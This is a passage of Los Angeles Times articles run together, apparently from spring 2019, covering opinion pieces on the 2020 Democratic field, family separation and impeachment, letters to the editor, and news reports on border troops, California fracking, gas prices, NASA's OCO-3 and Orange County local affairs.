Representatives. Others argue that the party should choose a female nominee to mobilize women voters. So its far from obvious at this point who is better positioned to win. Certainly electable shouldnt be regarded as a synonym for older white male or centrist. Its possible that candidates who fit neither description will make the most effective case that they can translate enthusiasm in the primaries into a general-election victory. And that, after all, is the point of the campaign: to find out what the candidates stand for, to determine who you agree with and to decide who you think can win. At the moment theres a ferocious battle underway over the future Democratic Party, involving issues like race and gender and socialism and compromise and experience and generational change. Enter the Fray: First takes on the news of the minute That battle doesnt need to be self-destructive. But it will be healthier, less bitter and less divisive if all of the would-be Democratic nominees model the sort of civility and respect for opposing views that have been so lacking in the incumbent president. Democratic candidates have real differences over substantive issues including universal healthcare, income inequality and the projection of American power abroad and those disagreements should be fully aired during the primaries. But an unnecessarily acrimonious primary campaign, or one fixated on besmirching the character of rivals, could undermine the partys prospects in a general election. Some contend, for example, that Hillary Clinton suffered in the 2016 general election because of defections by Sanders supporters who thought the party establishment had unfairly favored Clinton. Thats a consideration that should apply in any campaign, but it will be especially important next year when lingering divisions among Democrats could provide an insurance policy for Trumps reelection. Not only the Democratic nominee but the party itself must be seen as electable if the country is to be spared the ordeal of a second Trump term. But the long march toward the 2020 election has just begun. These 20 contenders have a long time yet to prove themselves to be the leader this country needs. Follow the Opinion section on Twitter @latimesopinionand Facebook It was just over a year ago that Atty. Gen. Jeff Sessions (remember him?) ordered up a zero-tolerance policy for migrants apprehended crossing the U.S-Mexico border, a group of people then, as now, comprising mostly families seeking asylum. Under the order, adults were charged, at a minimum, with a misdemeanor count of entering the country without permission and sent to jail while the case proceeded. And the children were trundled off to live, in many cases, with strangers. Two months later, and amid a furious backlash even from some of his supporters, President Trump issued an edict ending the practice. Six days after that, in a legal challenge brought by the American Civil Liberties Union, U.S. District Court Judge Dana M. Sabraw ordered the government to reunite the children with their parents within 30 days (14 days for children under age 5). Advertisement Its as though the government had no intention of ever reuniting the families. Not only has that order not been fully complied with, the government still doesnt know how many children were removed from their parents, nor where they all are. (In fact, there are allegations that the feds continue to separate some families). And then we learned that the Trump administration had separated thousands more families than previously known, and that the practice predated the Sessions order. Sabraw on Thursday gave the government six months to reunite all the separated families. In an administration that seems bent on setting records for heartlessness, that separation policy ranks among the worst. And in an administration that seems to be redefining governmental incompetence, it set out on this inhumane and deplorable strategy of traumatizing children without a plan or even a vision of how the policy would play out. Its as though the government had no intention of ever reuniting the families, and gave no thought to the costs involved in incarcerating parents who did not need to be incarcerated or providing for the care and well-being of the children. Enter the Fray: First takes on the news of the minute All in service of the theory that jailing parents and stealing their children away would deter other Central American families from making the same northward trip to seek asylum in the U.S. And no, the policy didnt serve that end either; border apprehensions while the policy was in place and shortly after it ended were unaffected, and have since skyrocketed. So looking back, the administration had a policy that was poorly conceived, inhumane in practice, ineffective in achieving its stated and ugly purpose, costly to taxpayers (at least $80 million and counting), and traumatic to people who came here asking for help. So are we sick and tired of winning yet, as Trump pledged during his campaign? Or just sick and tired? Its unclear whether the Democratic-controlled House of Representatives will ever try to impeach President Trump, but this week Trump warned that he has a plan to stop any such inquiry. On Wednesday he tweeted that if the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court. This threat was remarkable for its irony: Trump, who has fumed over judicial review of his policies, is now suggesting that he would seek judicial intervention to save his presidency. But his plan to head to the U.S. Supreme Court also demonstrates that the president has a shaky grasp of the law. (Not that this comes as a surprise. Remember when Trump threatened as a candidate to open up our libel laws, apparently unaware that libel is governed by state, not federal, law?) The bad news for Trump is that the consensus of legal experts, blessed by the Supreme Court, is that impeachment is none of the courts business. (The chief justice, however, does preside at Senate impeachment trials for a president.) Advertisement In his classic work Impeachment: A Handbook, the late constitutional scholar Charles L. Black Jr. heaped scorn on the idea that the court could review an impeachment and removal of a president. Presenting a scenario in which the court overrides the judgment of Congress and reinstates the president, Black wrote: I dont think I possess the resources of rhetoric adequate to characterize the absurdity of that position. Black went on to point out that the Constitutional Convention after debate and over prestigeful opposition, moved impeachment trials out of the Supreme Court and into the Senate. The Supreme Court itself has strongly suggested that it agrees with Blacks bottom line. In 1993, in the case of Nixon vs. the United States (no, not that Nixon), the court unanimously rejected a challenge to the impeachment and removal of a federal district judge. The former judge, Walter L. Nixon, had argued that his impeachment trial was tainted because the Senate established a committee to receive evidence and take testimony. That process, he argued, violated the Constitutions requirement that the Senate as a whole try impeachments. Writing for himself and five other justices, Chief Justice William H. Rehnquist said that Nixons claim was nonjusticiable that is, a political question beyond the courts authority. The history and contemporary understanding of the impeachment provisions support our reading of the constitutional language, Rehnquist wrote for the court. The parties do not offer evidence of a single word in the history of the Constitutional Convention or in contemporary commentary that even alludes to the possibility of judicial review in the context of the impeachment power. Three justices who concurred in the result declined to sign Rehnquists opinion. Justice Byron White, joined by Justice Harry Blackmun, would have left the door open a bit to lawsuits to ensure that the Senate adhered to a minimal set of procedural standards in conducting impeachment trials. Writing only for himself, Justice David Souter suggested that judicial review on impeachment might be justified if the Senate were to act in a manner seriously threatening the integrity of its results, convicting, say, upon a coin toss, or upon a summary determination that an officer of the United States was simply a bad guy. Only one of the justices who participated in Nixon vs. U.S. Clarence Thomas is still on the court, but Rehnquists majority opinion is a precedent. Its existence would seem to dash Trumps hopes of asking the court to intervene in a process he might consider another witch hunt. Enter the Fray: First takes on the news of the minute Follow the Opinion section on Twitter @latimesopinion and Facebook. The three-and-a-half-minute video in which Joe Biden announced his candidacy for president in the 2020 election was first-rate propaganda. Mm-mm: a Cinnabon of feel-good moralism designed to hit most Americans sweet spot. But the video was also an elegy for an obsolete dynamic of white saviorism thats good and ready to be buried. The republic, though under threat, is not yet finished. But the old guard of white male heroes is, the ones who have long imagined themselves as the chief avatars, protectors and patriarchs of the rest of us. First, Biden evoked Thomas Jefferson, who he said was from Charlottesville, Va. (Jeffersons 5,000-acre plantation, with the 600 people he enslaved, was well out of town, but never mind.) Jefferson, Biden explained, laid out our American ideals: All men are created equal. Yes, Biden said men without a blink, and OK, we all know what Jefferson meant. (To punctiliously make it people would have been very Hillary.) Advertisement Some of Bidens ideals are obsolete already. His savior complex, in particular, is in danger from the women and people of color who are his rivals. So I was with Biden when he cruised (as if in one of his custom Camaros) from Charlottesville 1776 to Charlottesville 2017, where hostile white supremacists clashed with counter-protesters, including the activist Heather Heyer, who was murdered by a neo-Nazi. With acid bile in his tone, and righteous tears in his eyes, Biden quoted President Trumps notorious praise for the very fine people on both sides in the Charlottesville battle. Biden dutifully reversed the president, awarding his own praise to even the most radical of the counter-protesters. Sure, he didnt show Heyers face, and didnt use the term antifa, but he left no doubt he found fine people on only one side. The mere evocation of the most aggressive counter-protesters in Virginia seemed daring to me at first, like a Union Army colonel praising not just his fellow soldiers, but Nat Turner, John Brown and other abolitionist insurrectionists. And Biden was just getting started. Footage of womens suffrage, D-Day, Iwo Jima, Martin Luther King Jr., and other beloved cliches of American virtue marched across the screen in the video, Biden, in cutaways, always seemed poised to cry at his own rhetoric. James M. Cox, a Mark Twain scholar who died in 2012, used to tell his students at the University of Virginia (in Charlottesville), where I went to college, that Tom Sawyer was caught in a compulsive self-congratulatory loop, returning to an imagined past. He, and others like him, lived to set the slaves free all over again, as Cox put it. Setting the slaves free, Cox said, was a moment when white men in this country were allowed to feel like Moses adventurous and lethal, but also entirely righteous. Their eyes had seen the glory of the coming of the Lord, while the stupid bigots down South were whistling Dixie. The elaborate sympathy for black people in bondage that played out in Washington parlors came to be rivaled by the historys picture of certain men as almost holy. Something like that same self-regard suffused American soldiers after World War II, who lived up to their Lincoln-esque calling when they liberated the camps, and once again set people free. And again in 1989, when Reagan-era capitalism and American pieties faced off with the Soviet dictatorship and liberated the Russian people, who, we were told, were suffering terribly for want of Levis and Billy Joel. Thus has persisted a compulsion in American history, among the ruling classes, to set slaves free, again and again and again. The material victory plus the surge of moral superiority enjoyed by these elites must be an unbeatable high. Bidens video gave us a taste of the euphoria. Relinquishing our long-cherished fantasies about white male saviors good cops isnt easy. Of course, swaths of Americans must always be oppressed to keep giving these guys, and our mythos, a fix of heroism, but still we cling to this national narrative of white knights. Biden without doubt looks handsome in the old uniform of patriotism in his announcement video. He looks every bit the liberator. Enter the Fray: First takes on the news of the minute Yes, we know about Bidens role in the unconscionable bullying of the legal scholar Anita Hill during the confirmation hearings for Supreme Court Justice Clarence Thomas in 1991. Although Hill said this week that Bidens treatment of her wasnt disqualifying, she also said his Im sorry, 28 years later, was not enough. Even though we know hes a law-and-order type who probably wont be waving a Black Lives Matter sign or joining antifa, its hard to shake his face loose from our action hero fantasies. Biden has a good grin, gleaming teeth. Hes the picture of old-fashioned American wholesomeness, like Ted Williams or John Glenn. And hes right when he tells us the ideals that he embodies are in danger from Donald Trump. But some of Bidens ideals are obsolete already. His savior complex, in particular, is in danger from the women and people of color who are his rivals for the Democratic nomination. Kamala Harris, Cory Booker, Julian Castro and Elizabeth Warren no longer need his or anyones help to be free. Their liberation is an inalienable right, and they long ago asserted it. Now they are more than ready to lead. Twitter: @page88 Follow the Opinion section on Twitter @latimesopinionand Facebook To the editor: This line in David Azerrads excoriation of Republican NeverTrumpers stood out to me: Not one of the overblown doomsday scenarios that President Trump was supposed to unleash on humanity has panned out. Fascism hasnt come to America. Well, Rome wasnt built in a day. In just more than two years, Trump has replaced those who were reluctant to rubber stamp whatever he wants with those who are not. Jeff Sessions is gone from the Justice Department, and William Barr who, based on his handling of the Mueller report, should really be on the presidents personal legal team is attorney general. The Senate has been confirming Trumps federal judges at a record pace. It stalled President Obamas Supreme Court pick for almost a year, and now we have both Justices Neil Gorsuch and Brett Kavanaugh. Further, the administrations contempt for and defiance of congressional oversight is equally stunning. Advertisement While fascism has not come to America, weve made some inroads. Don Linde, La Verne .. To the editor: As a longtime daily subscriber to the L.A. Times and a pro-Trump Republican, I applaud your publishing of Azerrads piece. His points about the shrinking number of NeverTrumpers in the GOP are spot on. Any Republican who does not like what Trump has accomplished for our country, with so much adversity thrown his way, is not using good intellectual judgment. Im very sorry for Democrats who are stuck in the past and still refuse to accept his presidency. Karen Whitaker, Bermuda Dunes .. To the editor: Azerrad believes Trumps record of conservative accomplishments is impressive. That depends on your point of view. Regarding the tax cut, Azerrad should check in with those who are not among the wealthiest Americans. As for Trumps aggressive deregulatory agenda, he should consult with the climate scientists who deluge us daily with data on the changing nature of the Earths atmosphere. Finally, regarding withdrawing from the Iran nuclear deal, many foreign policy experts are still shaking their heads over that one. Trump might make conservatives smile. He just makes me very worried and sad. Andrea Burrell, Huntington Beach Follow the Opinion section on Twitter @latimesopinion and Facebook. You are here: World Flash Sri Lanka on Thursday revised the death toll from multiple terror attacks on Sunday to around 253 from 359, Sri Lanka's Health Ministry said on Thursday. The statement said the death toll from Sunday's bombing attacks had been revised to between 250 to 253 and not 359 as earlier reported. Due to the severity of the explosion and many body parts, there was a miscalculation, the health ministry said. A string of suicide bombings exploded in hotels and churches across Sri Lanka on Sunday. The Sri Lankan police have so far taken more than 70 suspects in custody. Islamic State (IS) claimed responsibility for the attacks. Maria Butina, the Russian woman who admitted to being an agent for the Kremlin, has been sentenced to 18 months in prison. Butina has been jailed since her July 2018 arrest and will get credit for time served. U.S. District Judge Tanya Chutkan also ordered Butina deported after she completes her sentence. Chutkan said she was imposing the sentence to reflect the seriousness of the offense and to promote deterrence. Butina pleaded guilty last year to a conspiracy charge and admitted that she, at the direction of a former Russian lawmaker, infiltrated the National Rifle Assn. and other groups in an effort to influence American policy. Advertisement Butina said she was ashamed and embarrassed by her own actions. The Pentagon is moving to loosen rules that bar U.S. soldiers from interacting with migrants on the southern border and to send up to 300 more troops to help authorities process migrants who cross the border seeking asylum. The move expands the Pentagons role along the border, authorizing troops to be in direct contact with migrants on a regular basis for the first time since President Trump ordered about 5,000 active duty military personnel to the border last October, days before the midterm election. The new troops will include military lawyers who can help Customs and Border Protection agents process migrants, drivers to help transport detained migrants and cooks to provide meals for them. Acting Defense Secretary Patrick Shanahan was expected to authorize the change at the request of the Department of Homeland Security. About 4,900 active duty and National Guard troops are currently deployed on the border. Advertisement The additional troops will work under Customs and Border Protection supervision to avoid violating the Posse Comitatus Act, which bars the military from doing law enforcement in most circumstances on U.S. soil, according to an official familiar with the draft order. Critics said the militarys expanding role pushes the boundaries of that law, however. This order would take an unprecedented step toward creating an active domestic military force, Rep. Ro Khanna (D-Fremont) tweeted Friday. I urge acting Defense Sec. Shanahan to abandon this ill-fated plan. The border operation is at its very heart domestic law enforcement. They are there to enforce U.S. immigration law, said David Lapan, a former senior official at Homeland Security. So what exactly are these additional military forces going to be doing, and how is it not a violation of the law? Military lawyers, he added, dont have experience with immigration law and most dont speak Spanish, unlike Border Patrol agents, for whom it is required. While relatively limited in number and scope, the move could escalate military involvement with migrants at the border. Until now, troops have helped build border barriers, conducted surveillance, flown helicopters and performed other support duties. They are not allowed to detain migrants, seize drugs or carry out law enforcement duties. In November, officials said the troops had expanded authority to help protect Border Patrol agents and other U.S. personnel, and could use deadly force in their defense if necessary. No such cases are known to have occurred. James N. Mattis, who quit as secretary of Defense in December, was wary of expanding the militarys role further. Shanahan, his temporary replacement, has resisted administration pressure to involve the military in housing migrants or allowing troops to take exclusive custody of them, said the official familiar with the plan. Were not going to house. Were not going to maintain custody. Thats not part of this deal, the official added. On April 9, Shanahan approved a request from the Health and Human Services Department, charged with caring for detained migrant children and families, to identify locations to house up to 5,000 unaccompanied children. The sites have yet to be identified. Trump has called for a tougher approach to illegal immigration and been frustrated by rules barring troops direct interaction with migrants. Despite his attempts to crack down, migrant flows have increased sharply in recent months. In March, U.S. immigration authorities apprehended nearly 93,000 migrants at the border, the highest monthly total in more than a decade. Most were families and asylum seekers from Central America. Trump vowed to send more troops to the border in response to the surge, saying at a Texas fundraiser, Our military, dont forget, cant act like a military would act because if they got a little rough, everybody would go crazy. On Wednesday, he mischaracterized an encounter at the border between several Army troops and members of the Mexican military. We are now sending ARMED SOLDIERS to the Border, he tweeted. The use of military lawyers to help process migrants asylum claims, or drivers to transport them, requires Shanahan to waive a 2006 policy that bars military personnel from directly interacting with migrants. The Pentagon previously approved a waiver to allow the troops to provide emergency medical care to migrants, according to the Washington Post, which first reported Shanahans move. Mark Morgan, who led the Border Patrol for the last six months of the Obama administration, said the Pentagon move will help free up overburdened border agents. Up to 40% of Border Patrol agents highly trained gun-toters, as he termed them have been pulled off normal duties to help with logistics, humanitarian aid and essentially child-care services as thousands of families seek asylum at the border. U.S. troops can fill roles that are needed and let the Border Patrol be on the front lines, rather than the troops. I think that makes sense. molly.otoole@latimes.com Twitter: @mollymotoole The Trump administration on Thursday detailed its plan to open more than a million acres of public and private land in California to fracking, raising environmental concerns at a time when opposition to oil and gas drilling in the state is intensifying. The action would end a five-year moratorium on leasing federal land in California to oil and gas developers. That pause came after a federal judge ordered the Obama administration to halt similar leasing efforts until it could better evaluate the environmental risks of hydraulic fracturing, also known as fracking. Trumps plan first proposed by the administration in 2018 targets public and private land spread across eight counties in Central California: eastern Fresno, western Kern, Kings, Madera, San Luis Obispo, Santa Barbara, Tulare and Ventura. The move drew immediate criticism from environmentalists, who said it would pose health risks and worsen air quality in a part of the state notorious for pollution. Advertisement The Central Valley has some of the worst air quality in the nation, and we know fracking and drilling make air quality worse, said Clare Lakewood, a senior attorney at the Center for Biological Diversity, an environmental advocacy group. Lakewood said Trumps plan would unleash a fracking frenzy that would endanger people and wildlife alike. Once a plan is finalized and approved, environmental groups are expected to sue to block it, as they have in the past. Proposed by the Bureau of Land Management, the plan is only the latest in a series of attempts by the federal government to open public land in Central California to fracking. In 2013, a federal judge ruled that the government had violated the National Environmental Policy Act when it issued oil leases in Monterey County without analyzing the environmental dangers of fracking. Three years later, another federal judge reached a similar conclusion. Now the Trump administration is trying to breathe new life into the proposal, part of its nationwide campaign to promote domestic energy production. Industry groups praised the move. Kathleen Sgamma, president of the Western Energy Alliance, an association of independent oil and gas companies, said environmentalists fears were misguided. Were not talking about a national park. Were not talking about a wilderness area, she said. These are lands that the Obama administration affirmed are appropriate for carefully controlled development. The plan encompasses more than 1 million acres of federal mineral rights, including about 400,000 acres of land controlled by the bureau, according to the environmental impact statement released Thursday. In so-called split-estate parcels, the BLM owns the underlying mineral rights while another entity owns the propertys surface. Mark Rose, a field representative for the National Parks Conservation Assn., said the proposal is concerning because it includes so much territory, some of which borders pristine forestland like Yosemite and Sequoia national parks. When you open up ... this wide swath of land, it really scares us that wells could be drilled right next to a national park like Sequoia, which is already one of the most polluted parks in the country for air pollution, Rose said. Some of the parcels in the plan are also adjacent to Los Padres National Forest, Carrizo Plain National Monument and the Wind Wolves Preserve. Jeff Kuyper, executive director of Los Padres ForestWatch, said the BLMs original maps of leasing areas were not very precise. When better maps were developed, We realized that lo and behold, several of the Central Coasts iconic landmarks and places near and dear to people who live there were on the chopping block. Among the parcels of concern are the grounds of public and private schools, land next to the Hopper Mountain National Wildlife Refuge in Ventura County and an area in Point Mugu State Park in the Santa Monica Mountains. Some of the potentially leased land is also along the Pacific Crest Trail in the southern Sierra Nevada. This plan is going to wind up in court unless the BLM makes some hard decisions about what is appropriate and not appropriate to lease, Kuyper said. They should look at it by parcel-by-parcel impact. He said the Army has raised concerns because some National Guard training properties would be open for drilling and fracking under the plan. The Trump administrations attempt to revive the plan could collide with efforts in California to limit fossil fuel development. Environmentalists are urging Gov. Gavin Newsom to ban new oil and gas drilling. Though this would not directly affect federally controlled land, it could affect state and privately owned land that falls within the agencys plans. The public will have 45 days to weigh in on the agencys proposal. Times staff writer Bettina Boxall in Los Angeles contributed to this report. The latest from Washington More stories from Anna M. Phillips The governor of California was frustrated. Seeking answers to why the states motorists were digging ever deeper into their wallets to fill up the gas tank, he called for a special investigation. Thats what Gov. Gavin Newsom did last week. And its the same action then-Gov. Arnold Schwarzenegger took almost exactly 13 years ago. So what did the 2006 investigation reveal about the high cost of gas in California? Not much. There is no clear evidence as to what caused this spike, the Republican governor told reporters two months later after he reviewed the initial findings. But the key thing is, whatever the problem is, I think we should solve it. Advertisement The final 2006 report from the California Energy Commission fell back on familiar themes unexpected production outages at several of the states oil refineries, problems importing from other places, requirements for the special blend of gas sold here as compared with other states. But no single explanation emerged for what was happening. Industry officials chalked it up to little more than supply and demand. In fact, theres almost a tradition of California lawmakers demanding explanations for high gas prices and getting little in return. Similar inquiries in the 1990s and again in the early 2000s ended with something akin to a political shoulder shrug. Sign up for the Essential Politics newsletter Newsom, in his letter last Monday to energy commissioners, lamented that some are blaming the current high prices averaging around $4 a gallon statewide, more in some local communities on Californias aggressive efforts to combat climate change with mandates for cleaner-burning fuel. Already, opponents of our states world-class environmental protections are using media reports on this issue to undermine our clean air and safety standards, the governor wrote. Others have used the recent surge in prices to again take aim at the 2017 state law that raised taxes on gas and diesel fuel, the proceeds earmarked for road and highway repairs. But even before those new taxes were contemplated, prices began to inexplicably rise. Severin Borenstein, who studies the energy sector at the UC Berkeley Haas School of Business, wrote in The Times last fall about a 22-cents-per-gallon mystery surcharge that first appeared in 2015 and which cant be explained by taxes or environmental regulations. Borenstein believes that price hike alone is costing California drivers at least $4 billion a year. Whos getting the money? he asked in an interview last week on San Francisos KQED public radio. We dont know. A group of Democratic legislators asked state Atty. Gen. Xavier Becerra in January to investigate the surcharge. Theres been no confirmation whether such scrutiny is underway. Not that all gas price increases are equal in the eyes of the states drivers. A majority of adults in a 2017 summertime poll by the nonpartisan Public Policy Institute of California thought the states aggressive climate change policies would boost gas prices and yet a roughly equal number still supported those policies. Perhaps, then, its the unexpected and sharp price hikes that are most likely to fuel public anger. Newsom, who faces pressure from environmentalists to take a strong stand against the oil industry, asked energy officials to help shed light on the causes of the current price spike. He wants their analysis by May 15 probably long enough for the same kind of survey that state analysts conducted in 2006. And yet the topic, if handled skillfully, could provide the governor and elected officials from both major parties an opportunity to speak directly to a broad cross-section of struggling Californians, from rural families to working-class drivers stuck on congested urban freeways. Demystifying the price of gasoline could pay political dividends for years to come. john.myers@latimes.com Follow @johnmyers on Twitter, sign up for our daily Essential Politics newsletter and listen to the weekly California Politics Podcast. A NASA instrument designed to track carbon in Earths atmosphere is headed to the International Space Station next week, and the president isnt happy about it. Trump slashed funding for the Orbiting Carbon Observatory 3 and four other Earth science missions in his proposed spending plan for the 2018 fiscal year, citing budget constraints and higher priorities within Science. His budget for fiscal year 2019 tried to defund them again. In both cases, Congress decided to keep the OCO-3 mission going anyway. Now it is set to launch as soon as Tuesday. Advertisement OCO-3 was built at the Jet Propulsion Laboratory in La Canada Flintridge for less than $100 million, using parts left over from its predecessor, OCO-2. Once the carbon observatory gets to the ISS, a robotic arm will mount it on the underside of the space station so it can keep a close eye on the carbon dioxide in Earths atmosphere. That will help scientists answer questions about how and why levels of the greenhouse gas fluctuate over days, months and years. Our goal is to get really good data so we can make informed decisions about how to manage carbon and carbon emissions in the future, said Annmarie Eldering, the missions project scientist at JPL. Carbon dioxide makes up a tiny fraction of the molecules in our atmosphere roughly 400 parts per million. But seemingly small changes in the amount of carbon dioxide in the atmosphere have an outsized effect on the planets temperature. Carbon is really effective at trapping heat, Eldering said. Even changing the ratio from 300 parts per million to 400 parts per million makes a big difference. The real climate change controversy: Whether to engineer the planet in order to fix it OCO-3 is so sensitive that it can detect changes as small as 1 part per million. So if CO2 levels go from 406 ppm one day to 407 ppm the next, the observatory will record the increase. Eldering, who also worked on OCO-2, spoke to The Times about the difference between the two instruments, the new information she hopes to learn from OCO-3, and how she and her team managed to keep their cool when their project seemed headed for the chopping block. What are the main science questions you hope OCO-3 will answer? The big science question is about the movement of carbon dioxide between plants and the atmosphere. If you look at the ground-based data, it almost looks like the planet is breathing. Plants in the northern hemisphere take up carbon dioxide as they grow in the spring and summer, reducing the amount of CO2 in the atmosphere by a few parts per million. In the fall, the leaves drop and carbon is released back into the air. But every year is different. There are changes in the forests in Canada. El Nino years affect the carbon cycle. What we want to do is find drivers of the plant uptake of carbon and use that to better predict what will happen in the future. If we have a warmer, drier climate, will plants keep taking up as much carbon? Why is it helpful to look at Earths carbon cycle from space? We have Earth-based data, but having a satellite observatory lets you see things in a bigger context. That includes data over the oceans that the ground-based measurements generally dont see. Can you give me an example of something you learned from data collected by OCO-2? In 2015 and 2016, there was a global weather pattern called an El Nino that had a big impact on the carbon cycle in South America, South Africa and Indonesia, but in different ways. South America had drought, so the plants there were not as active and did not remove as much carbon dioxide as they usually do. In the tropical part of Africa it was super hot, so the plant material was decomposing fast and releasing carbon dioxide. And Indonesia was on fire that put a lot of carbon back in the air. Before we would have said, El Nino is affecting the tropics and just leave it at that. Now we can tease that apart in more detail, and that is really exciting as a scientist. How is OCO-3 different than OCO-2? The main purpose of OCO-3 is to make sure we have a continuous record of carbon dioxide levels in the atmosphere, but we are adding some new capabilities. One of those is to take a snapshot of carbon levels over an area of 50 miles by 50 miles. This will feed a bunch of science investigations of emission hot spots, like cities or volcanoes. We can also look at how plant activity changes over the course of a day, which is something OCO-2 could not do. How does OCO-3 work? OCO-3 is a spectrometer that looks at Earths surface in three wavelengths: two for carbon dioxide, and one for the type of light your eyes see. Every molecule has a unique way that it absorbs light, almost like a fingerprint, and thats what we exploit in our instrument. If the CO2 levels are 405 ppm, we will see a certain amount of light change in the CO2 band. If it is 406, well see just a bit more. President Trump tried to cancel this mission twice. How stressful was that for you and your team? Ive been over at JPL for 20 years now, and this is not the first mission Ive worked on that has had funding ups and downs. We are fortunate that we have three branches of government, and that Congress is very active and has kept the importance of this work in mind as they created the budget. My strategy for getting my work done is just to put on blinders and get the work done. This interview has been edited for length and clarity. When I was in the sixth grade I lived in New York City and attended Public School #41. Maybe thats an idea the Burbank school board should consider, inasmuch as naming any school after any particular person might offend someone. Regarding David Starr Jordan and his connection with eugenics, it turns out that quite a number of well-known people supported eugenics in one form or another. Going online I found the following: Theodore Roosevelt, Alexander Graham Bell, Helen Keller, Winston Churchill, Margaret Sanger (founder of Planned Parenthood), W.E.B. DuBois (black historian, sociologist, co-founder of the NAACP), Clarence Darrow, George Bernard Shaw, Oliver Wendell Holmes, Jacques Cousteau, John Maynard Keynes (economist), Linus Pauling and Greek Philosopher Plato. There are others listed and, perhaps significantly, the name of David Starr Jordan is not among them. In any event, it seems that virtually everyone, no matter their accomplishments, will have something in their background that others find offensive. So maybe just going to numbered schools would avoid that, except that someone would likely find a particular number objectionable! David Lessley Burbank -- I propose a name change from David Starr Jordan Middle School to Amelia Earhart Middle School. She lived in the area and last flew out of Lockheed airport in one of their planes. An American hero. Michael Frediani Burbank -- The Burbank Interfaith Forum strongly condemns the heinous massacre of Christians and others in Sri Lanka on Easter Morning. This tragic violence violates the basic tenets of every religion in the world. Our guiding principles call upon us to respect the integrity of all religions and ensure that they have the freedom to follow their own beliefs and practices. The world must turn to peace, tolerance, diversity and human rights to ensure the future of humanity. David Meyerhof Chairperson, Burbank Interfaith Forum Burbank Support our coverage by becoming a digital subscriber. The Orange County Board of Supervisors and the city of Placentia on Tuesday took the first step needed to establish the states first county-city financing authority to fund public infrastructure improvements around Placentias future Metrolink station. Enhanced Infrastructure Financing Districts like the one Placentia is exploring are touted as a potential solution to the states 2012 dissolution of redevelopment agencies. Placentia city leaders have adopted measures they hope will encourage developers to pitch transit-oriented developments on industrial properties near the planned train station. Primarily a bedroom community, Placentia doesnt have reserves to repair roads, widen sidewalks, add bike lanes, and improve water and sewer lines to accommodate dense mixed-used projects. Instead, the city will capture redeveloped properties incremental tax revenue, the portion of taxes raised after a property is improved and reassessed. The EIFD is expected to raise about $11.7 million over the next 20 years, according to a county staff report. Placentias public financing authority could pursue issuing a bond backed by this property tax revenue but it would need to be approved by 55% of voters living within the financing districts boundaries. Weve been working on this for a long time and Im really excited to see what happens, Placentia Councilman Chad Wanke said. These are such big projects that its difficult to do it on our own. The Southern California Assn. of Governments awarded Placentia a grant to study how it could implement an EIFD, partially because the financing would support transit-oriented development. Placentia anticipates the construction of a Metrolink station about half a mile from Cal State Fullerton will encourage students and employees to take the train to campus rather than drive on the congested 91 Freeway. According to a county staff report, Placentia expects the access to public transit and improved infrastructure could bring 1,600 housing units; 125,000 square feet of commercial, retail and office space; and a hotel. County Supervisor Doug Chaffee, whose district includes Placentia, recommended the county partner with the city to form the EIFD so residents can enjoy improved roads that would otherwise be outside of the citys budget. The revenue sharing is going to help finance the infrastructure, which is what I think redevelopment should do, and it is creating the infrastructure so private business can proposer and people can have better roads, Chaffee said. Michelle Steel was the only supervisor who opposed the countys collaboration with Placentia on the EIFD, arguing the Board of Supervisors should first discuss if and how the county should get involved in this type of financing. We have limited property tax dollars and Orange County gets less property tax than any other county in the state, Steel said. To help Placentia stay on schedule, Supervisor Lisa Bartlett, the boards chairwoman, proposed county staffers craft a policy on EIFDs to be considered simultaneously with Placentias proposal. Placentias finances have taken a beating in recent years. In 2017, a former Placentia financial services manager was sentenced to 25 years in prison for embezzling more than $5 million from the city. The city recovered about $3.16 million of the embezzled funds and received an additional $1 million from an insurance policy, according to the citys website. The city has also struggled since 2004 to recover after spending $52.7 million on a scandal-plagued railroad project to separate vehicle and train traffic that was never completed, according to a grand jury report. Under the leadership of City Administrator Damien Arrula, Placentia has laid the groundwork for revitalizing its Old Town and increase its sales and property tax base. However, protracted negotiations between Metrolink and railroad operator BNSF have delayed a groundbreaking on the train station considered vital to the citys economic development efforts. Brian Nick, an Old Town Placentia resident and owner of the Placentia Hub, said he appreciates the citys creative efforts to improve his neighborhoods infrastructure without raising residents taxes. Ive spent a lot of money upgrading my business and making it look beautiful but the roads are cracked and the sidewalks are narrow, Nick said. This place was built in 1910 and it wasnt built for what we have down there today. Its in desperate need of redevelopment. Daniel Langhorne is a contributor to TimesOC. Follow him on Twitter at @DanielLanghorne. Support our coverage of Orange County by becoming a digital subscriber. For more news and features about Orange County, visit TimesOC.com or follow us on Twitter @timesocofficial. A defense attorney representing the son of a Real Housewives of Orange County star argued Tuesday that a judge should drop attempted murder and other charges against his client because his jailhouse phone calls were improperly recorded and shared with prosecutors. Lawyer Joel Garson asserted that Joshua Warings constitutional rights were violated when sheriffs deputies, prosecutors and Costa Mesa police improperly listened to phone calls he made from Orange County Jail. Waring, the son of Houswives cast member Lauri Peterson, was representing himself in the case at the time and had assumed the calls were in compliance with a court order making them private, Garson argued. As usual with defendants who opt to defend themselves, the court granted Waring two hours of unmonitored collect calls and one 20-minute non-collect call per day to get ready for court dates. There has been zero effort by anybody at the Sheriffs Department to comply with that order, said Garson, who is trying to have the case dismissed on grounds of outrageous governmental conduct. An Orange County Sheriffs Department spokesperson didnt immediately respond to a request for comment. Waring, 30, is facing three counts of attempted murder and other felony and misdemeanor charges in connection with a shooting at a former Costa Mesa sober-living home in June 2016. If convicted, he could face multiple life sentences. Deputy District Attorney John Maxfield said the Sheriffs Department monitors phone calls to prevent inmates from planning additional crimes, adding that defendants who are representing themselves need to inform deputies that theyd like to make a privileged phone call in order to prevent it from being recorded. Its really incumbent upon the defendant to take ownership, Maxfield said. Otherwise, the Sheriffs Department is put in an awkward position to allow unmonitored calls Garson pointed out that inmate requests for unmonitored phone calls are typically handled by low-level deputies who receive little training on matters like this. He recommended placing a sergeant or lieutenant in charge of overseeing the calls. Problems with the Orange County Jails phone system date to January 2015, when Global Tel Link was contracted to install a new phone service for inmates. Sheriffs deputies were legally granted access to eavesdrop on prisoners calls and review past calls, which are attached to inmate booking numbers. But in August 2018, a Global Tel Link executive admitted that a list of phone numbers flagged by inmates for private phone calls with their attorneys and doctors was not transferred into the system because of human error. That mistake allowed the improper recording of 1,079 privileged calls over a three-year period. The jails phone system recorded 44 calls Waring made to family members and his girlfriend while representing himself in late 2016, according to court records. During these conversations Waring and the people on the other end of the line discussed possible questions to ask in court, witnesses and evidence having to do with ballistics and gunshot residue. Sheriffs deputies monitored the calls and sent copies to the Costa Mesa Police Department and the Orange County district attorneys office. Warings attorney is arguing that these copies gave prosecutors an unfair edge in the case. Orange County Superior 